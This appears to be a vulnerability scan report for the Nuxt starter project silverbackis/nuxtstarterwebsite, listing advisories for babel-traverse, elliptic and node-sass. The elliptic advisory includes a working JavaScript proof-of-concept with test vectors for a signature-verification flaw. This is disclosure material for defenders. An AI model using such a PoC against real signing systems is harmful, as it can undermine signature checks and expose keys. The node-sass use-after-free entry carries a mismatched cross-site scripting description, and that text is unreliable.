Skip to main content

Test Results

silverbackis/nuxtstarterwebsite

Vulnerabilities

 86 via 1013 paths

Dependencies

 1172

Source

 GitHub

Commit

 6bc0745f

Find, fix and prevent vulnerabilities in your code.

Test and protect my applications
Severity
  • 2
  • 30
  • 48
  • 6
Status
  • 86
  • 0
  • 0

critical severity

Incomplete List of Disallowed Inputs

  • Vulnerable module: babel-traverse
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0

…and 63 more

Overview

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate() or path.evaluateTruthy() internal Babel methods.

Note:

This is only exploitable if the attacker uses known affected plugins such as @babel/plugin-transform-runtime, @babel/preset-env when using its useBuiltIns option, and any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider. No other plugins under the @babel/ namespace are impacted, but third-party plugins might be.

Users that only compile trusted code are not impacted.

Workaround

Users who are unable to upgrade the library can upgrade the affected plugins instead, to avoid triggering the vulnerable code path in affected @babel/traverse.

Remediation

There is no fixed version for babel-traverse.

References

Incomplete List of Disallowed Inputs vulnerability report

critical severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: elliptic
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › node-libs-browser@2.2.1 › crypto-browserify@3.12.1 › browserify-sign@4.2.3 › elliptic@6.6.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › node-libs-browser@2.2.1 › crypto-browserify@3.12.1 › create-ecdh@4.0.4 › elliptic@6.6.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › node-libs-browser@2.2.1 › crypto-browserify@3.12.1 › browserify-sign@4.2.3 › elliptic@6.6.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › node-libs-browser@2.2.1 › crypto-browserify@3.12.1 › create-ecdh@4.0.4 › elliptic@6.6.1

…and 1 more

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to an anomaly in the _truncateToN function. An attacker can cause legitimate transactions or communications to be incorrectly flagged as invalid by exploiting the signature verification process when the hash contains at least four leading 0 bytes, and the order of the elliptic curve's base point is smaller than the hash. In some situations, a private key exposure is possible. This can happen when an attacker knows a faulty and the corresponding correct signature for the same message.

PoC

var elliptic = require('elliptic'); // tested with version 6.5.7
var hash = require('hash.js');
var BN = require('bn.js');
var toArray = elliptic.utils.toArray;

var ec = new elliptic.ec('p192');
var msg = '343236343739373234';
var sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b';
// Same public key just in different formats
var pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723';
var pkPem = '-----BEGIN PUBLIC KEY-----\nMEkwEwYHKoZIzj0CAQYIKoZIzj0DAQEDMgAEzTWgsY7rj82H/wGXgAEoKHRfBG54\nXeuigVDeG+bLQ3ZSMAa+/zD/CbQEkSXO0pcj\n-----END PUBLIC KEY-----\n';

// Create hash
var hashArray = hash.sha256().update(toArray(msg, 'hex')).digest();
// Convert array to string (just for showcase of the leading zeros)
var hashStr = Array.from(hashArray, function(byte) {
  return ('0' + (byte & 0xFF).toString(16)).slice(-2);
}).join('');
var hMsg = new BN(hashArray, 'hex');
// Hashed message contains 4 leading zeros bytes
console.log('sha256 hash(str): ' + hashStr);
// Due to using BN bitLength lib it does not calculate the bit length correctly (should be 32 since it is a sha256 hash)
console.log('Byte len of sha256 hash: ' + hMsg.byteLength());
console.log('sha256 hash(BN): ' + hMsg.toString(16));

// Due to the shift of the message to be within the order of the curve the delta computation is invalid
var pubKey = ec.keyFromPublic(toArray(pk, 'hex'));
console.log('Valid signature: ' + pubKey.verify(hashStr, sig));

// You can check that this hash should validate by consolidating openssl
const fs = require('fs');
fs.writeFile('msg.bin', new BN(msg, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('sig.bin', new BN(sig, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('cert.pem', pkPem, (err) => {
  if (err) throw err;
});

// To verify the correctness of the message signature and key one can run:
// openssl dgst -sha256 -verify cert.pem -signature sig.bin msg.bin
// Or run this python script
/*
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec


msg = '343236343739373234'
sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b'
pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723'

p192 = ec.SECP192R1()
pk = ec.EllipticCurvePublicKey.from_encoded_point(p192, bytes.fromhex(pk))
pk.verify(bytes.fromhex(sig), bytes.fromhex(msg), ec.ECDSA(hashes.SHA256()))
*/

Remediation

There is no fixed version for elliptic.

References

Improper Verification of Cryptographic Signature vulnerability report

high severity

NULL Pointer Dereference

  • Vulnerable module: node-sass
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to NULL Pointer Dereference in the function Sass::Functions::selector_append which could be leveraged by an attacker to cause a denial of service (application crash) or possibly have unspecified other impact. node-sass is affected by this vulnerability due to its bundled usage of libsass.

Remediation

There is no fixed version for node-sass.

References

NULL Pointer Dereference vulnerability report

high severity

Use After Free

  • Vulnerable module: node-sass
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Use After Free via the SharedPtr class in SharedPtr.cpp (or SharedPtr.hpp) that may cause a denial of service (application crash) or possibly have unspecified other impact. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

